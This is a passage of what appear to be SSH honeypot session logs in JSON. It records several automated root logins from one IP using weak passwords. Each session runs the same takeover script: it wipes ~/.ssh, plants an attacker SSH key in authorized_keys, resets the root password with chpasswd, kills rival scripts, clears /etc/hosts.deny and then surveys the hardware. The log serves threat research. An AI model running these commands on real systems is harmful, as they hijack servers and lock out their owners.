$2;}'"},{"seq":32,"at":"2026-08-27T06:59:20.552115+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"13141516","method":"password","accepted":true,"tier":"other"}]} {"id":"cd337afe-137f-4ac9-bc9a-20e8dcbd7860","name":"rustic-zealous-wren","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":38200,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":335,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T06:57:11.711848+00:00","ended_at":"2026-08-27T06:57:13.878106+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2172,"events":[{"seq":1,"at":"2026-08-27T06:56:51.313940+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T06:56:51.648297+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T06:56:56.742297+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T06:56:57.335434+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T06:56:57.672681+00:00","kind":"input","latency_ms":null,"data":"echo \"root:BM6SWzOFoUJi\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T06:56:58.006308+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T06:56:58.340025+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T06:56:58.675114+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T06:56:59.007695+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T06:57:00.334027+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T06:57:00.671939+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T06:57:02.052461+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T06:57:02.389627+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T06:57:03.193164+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T06:57:03.528681+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T06:57:04.137060+00:00","kind":"output","latency_ms":null,"data":" 06:57:04 up 7 days, 3:47, 0 user, load average: 0.29, 0.31, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T06:57:04.472671+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T06:57:04.936354+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T06:57:05.277019+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T06:57:06.066784+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T06:57:06.402692+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T06:57:06.821848+00:00","kind":"output","latency_ms":null,"data":"top - 06:57:06 up 7 days, 3:47, 0 user, load average: 0.29, 0.31, 0.24\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T06:57:07.157179+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T06:57:07.665175+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T06:57:07.999287+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T06:57:08.690731+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T06:57:09.026331+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T06:57:09.594934+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T06:57:09.930960+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T06:57:11.377926+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T06:57:11.712784+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T06:57:13.776872+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Test1234!","method":"password","accepted":true,"tier":"other"}]} {"id":"b40208fd-5f2f-42cf-992b-9a2614c05fa3","name":"weathered-blithe-finch","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":55604,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":335,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T06:52:58.776446+00:00","ended_at":"2026-08-27T06:52:59.765840+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-27T06:52:39.748640+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T06:52:40.084506+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T06:52:44.293124+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T06:52:44.585043+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T06:52:44.924238+00:00","kind":"input","latency_ms":null,"data":"echo \"root:JPGSLUX8RjbQ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T06:52:45.254680+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T06:52:45.589280+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T06:52:45.842617+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T06:52:46.179062+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T06:52:47.501749+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T06:52:47.837936+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T06:52:49.207963+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T06:52:49.545792+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T06:52:50.195153+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T06:52:50.529525+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T06:52:51.009380+00:00","kind":"output","latency_ms":null,"data":" 06:52:51 up 7 days, 3:42, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T06:52:51.346047+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T06:52:51.886739+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T06:52:52.226363+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T06:52:52.562157+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T06:52:52.897374+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T06:52:53.536750+00:00","kind":"output","latency_ms":null,"data":"top - 06:52:53 up 7 days, 3:43, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T06:52:53.872704+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T06:52:54.762893+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T06:52:55.098185+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T06:52:55.860052+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T06:52:56.195674+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T06:52:56.855157+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T06:52:57.189937+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T06:52:58.442985+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T06:52:58.777370+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T06:52:59.664630+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"linux123","method":"password","accepted":true,"tier":"other"}]} {"id":"8d9eac5c-44da-46cf-a5e9-5ae46d66d5c3","name":"graceful-dappled-quail","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":36070,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":351,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T06:50:59.036810+00:00","ended_at":"2026-08-27T06:51:00.435845+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2139,"events":[{"seq":1,"at":"2026-08-27T06:50:39.284541+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T06:50:39.641991+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T06:50:44.254936+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T06:50:44.678795+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T06:50:45.033222+00:00","kind":"input","latency_ms":null,"data":"echo \"root:PFMWTEDwNfUM\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T06:50:45.383236+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T06:50:45.734743+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T06:50:46.493017+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T06:50:46.845415+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T06:50:48.059803+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T06:50:48.413639+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T06:50:49.444359+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T06:50:49.795156+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T06:50:50.511871+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T06:50:50.863611+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T06:50:51.486571+00:00","kind":"output","latency_ms":null,"data":" 06:50:51 up 7 days, 3:40, 0 user, load average: 0.32, 0.34, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T06:50:51.839528+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T06:50:52.638185+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T06:50:52.990446+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T06:50:53.828294+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T06:50:54.179319+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T06:50:54.549657+00:00","kind":"output","latency_ms":null,"data":"top - 06:50:54 up 7 days, 3:41, 0 user, load average: 0.32, 0.34, 0.24\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T06:50:54.902072+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T06:50:55.267280+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T06:50:55.619719+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T06:50:56.072885+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T06:50:56.426113+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T06:50:57.017251+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T06:50:57.367769+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T06:50:58.683092+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T06:50:59.037662+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T06:51:00.330195+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Q12we34rt5","method":"password","accepted":true,"tier":"other"}]} {"id":"c80a064c-9494-40b3-abd5-4f340e56be99","name":"orderly-rapid-chickadee","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":33954,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":323,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T06:44:42.100296+00:00","ended_at":"2026-08-27T06:44:42.758496+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2104,"events":[{"seq":1,"at":"2026-08-27T06:44:32.007153+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T06:44:32.332684+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T06:44:35.599022+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T06:44:35.601058+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T06:44:35.925239+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Pb61qtgY3WA4\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T06:44:36.247805+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T06:44:36.568363+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T06:44:36.570519+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T06:44:36.892166+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T06:44:37.400156+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T06:44:37.727784+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T06:44:38.256077+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T06:44:38.582567+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T06:44:38.584168+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T06:44:38.907874+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T06:44:38.909328+00:00","kind":"output","latency_ms":null,"data":" 06:44:38 up 7 days, 3:34, 0 user, load average: 0.14, 0.11, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T06:44:39.239484+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T06:44:39.241597+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T06:44:39.566089+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T06:44:39.567935+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T06:44:39.888006+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T06:44:39.893087+00:00","kind":"output","latency_ms":null,"data":"top - 06:44:39 up 7 days, 3:34, 0 user, load average: 0.14, 0.11, 0.1\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T06:44:40.212085+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T06:44:40.214591+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T06:44:40.537130+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T06:44:40.539696+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T06:44:40.861210+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T06:44:40.863822+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T06:44:41.186742+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T06:44:41.778306+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T06:44:42.101988+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T06:44:42.662879+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Samsung@123","method":"password","accepted":true,"tier":"other"}]} {"id":"72dafc1e-5c2d-46a1-8017-878ce5120fd5","name":"mellow-eager-adder","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":42658,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":325,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T06:40:44.085073+00:00","ended_at":"2026-08-27T06:40:44.701749+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-27T06:40:32.230756+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T06:40:32.552134+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T06:40:36.902142+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T06:40:36.904285+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T06:40:37.228087+00:00","kind":"input","latency_ms":null,"data":"echo \"root:knuOOdfYcYTu\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T06:40:37.554181+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T06:40:37.878538+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T06:40:37.879172+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T06:40:38.201201+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 